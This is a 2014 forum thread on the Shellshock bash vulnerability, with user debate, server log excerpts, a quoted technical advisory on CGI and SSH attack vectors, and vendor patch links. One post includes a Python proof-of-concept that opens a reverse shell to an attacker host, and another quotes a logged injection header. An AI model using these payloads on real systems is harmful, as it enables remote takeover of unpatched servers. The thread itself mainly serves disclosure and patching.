Hackers exploit Shellshock bug

Bleh. With so little data to go on as to :

1. What the actual vulnerability is
2. What combination of software is needed for you to be vulnerable
3. Who has been compromised
4. Which devices are vulnerable

this smells more like media sensation than anything else.
 
Bleh. With so little data to go on as to :

1. What the actual vulnerability is
2. What combination of software is needed for you to be vulnerable
3. Who has been compromised
4. Which devices are vulnerable

this smells more like media sensation than anything else.
1 is available
2 anyone with more than an iq of 10 can figure out if you are in the IT field
3 which is why they are scanning...duh
4 shouldn't be too difficult to figure out either, just use the data from # 3
 
Bleh. With so little data to go on as to :

1. What the actual vulnerability is
2. What combination of software is needed for you to be vulnerable
3. Who has been compromised
4. Which devices are vulnerable

this smells more like media sensation than anything else.

Not at all, the information is all out there and available. Theyre very clear on what is vulnerable and how it impacts the system. I patched everything yesterday already. 112 servers :/ Though most of my machines that could be compromised were local firewalls and file servers.
 
My biggest concern here is routers. They possibly can be exploited, are hard to update and almost never updated.... and this worm is specifically searching for them :/
 
Be afraid

Don't ignore this bug! Any CGI program has the http headers in environment variables, eg User-Agent. You need a single legacy cgi program on your webserver and you will get owned. A one line wget command is enough to do it.

I started seeing attempts to exploit this bug in my logs from early yesterday morning.

The biggest risk is that a lot of the older Ubuntu boxes no longer get patches and those are the ones more likely to have a cgi app.
 
Vapourworm

Jaime Blasco, labs director at AlienVault, said he had uncovered the same piece of malware, as well as a second worm seeking to exploit ..
What a pity he didn't say what avenue of attack this vapourworm is using.
 
Last edited:
What a pity he didn't say what avenue of attack this vapourworm is using.

I've seen around 3000 hits on my servers this morning trying to exploit this bug through User-Agent, I assume there were even more trying using HTTP headers that don't get logged. Its safe to assume there is a a worm doing the rounds.

Make sure bash is updated or you will be sorry.

Typical line from my apache logs:
193.107.16.123 - - [26/Sep/2014:05:31:53 +0200] "GET /cgi-bin/test HTTP/1.0" 404 484 "-" "() { :;}; /bin/bash -c \"id\r\""
 
The technical details of the vulnerability follow.

Bash supports exporting not just shell variables, but also shell
functions to other bash instances, via the process environment to
(indirect) child processes. Current bash versions use an environment
variable named by the function name, and a function definition
starting with “() {” in the variable value to propagate function
definitions through the environment. The vulnerability occurs because
bash does not stop after processing the function definition; it
continues to parse and execute shell commands following the function
definition. For example, an environment variable setting of

VAR=() { ignored; }; /bin/id

will execute /bin/id when the environment is imported into the bash
process. (The process is in a slightly undefined state at this point.
The PATH variable may not have been set up yet, and bash could crash
after executing /bin/id, but the damage has already happened at this
point.)

The fact that an environment variable with an arbitrary name can be
used as a carrier for a malicious function definition containing
trailing commands makes this vulnerability particularly severe; it
enables network-based exploitation.



So far, HTTP requests to CGI scripts have been identified as the major
attack vector.

A typical HTTP request looks like this:

GET /path?query-param-name=query-param-value HTTP/1.1
Host: www.example.com
Custom: custom-header-value

The CGI specification maps all parts to environment variables. With
Apache httpd, the magic string “() {” can appear in these places:

* Host (“www.example.com”, as REMOTE_HOST)
* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)
* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)

The user name embedded in an Authorization header could be a vector as
well, but the corresponding REMOTE_USER variable is only set if the
user name corresponds to a known account according to the
authentication configuration, and a configuration which accepts the
magic string appears somewhat unlikely.

In addition, with other CGI implementations, the request method
(“GET”), path (“/path”) and query string
(“query-param-name=query-param-value”) may be vectors, and it is
conceivable for “query-param-value” as well, and perhaps even
“query-param-name”.

The other vector is OpenSSH, either through AcceptEnv variables, TERM
or SSH_ORIGINAL_COMMAND.

Other vectors involving different environment variable set by
additional programs are expected.

Again, please do not disclose this issue to customers or the general
public until the embargo has expired.


Proof-of-concept code
#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data


BASH BUG PATCH
You are recommended to disable any CGI scripts that call on the shell, but it does not fully mitigate the vulnerability. Many of the major operating system and Linux distribution vendors have released the new bash software versions today, including:
Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
CentOS (versions 5 through 7) - http://lists.centos.org/pipermail/centos/2014-September/146099.html
Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS -http://www.ubuntu.com/usn/usn-2362-1/
Debian - https://lists.debian.org/debian-security-announce/2014/msg00220.html

If your system is vulnerable to bash bug, then you are highly recommended to upgrade your bash software package as soon as possible.
 
Last edited:
Bleh. With so little data to go on as to :

1. What the actual vulnerability is
2. What combination of software is needed for you to be vulnerable
3. Who has been compromised
4. Which devices are vulnerable

this smells more like media sensation than anything else.

just JFGI
google is your friend or read above
 
Last edited:
Top
Sign up to the MyBroadband newsletter
X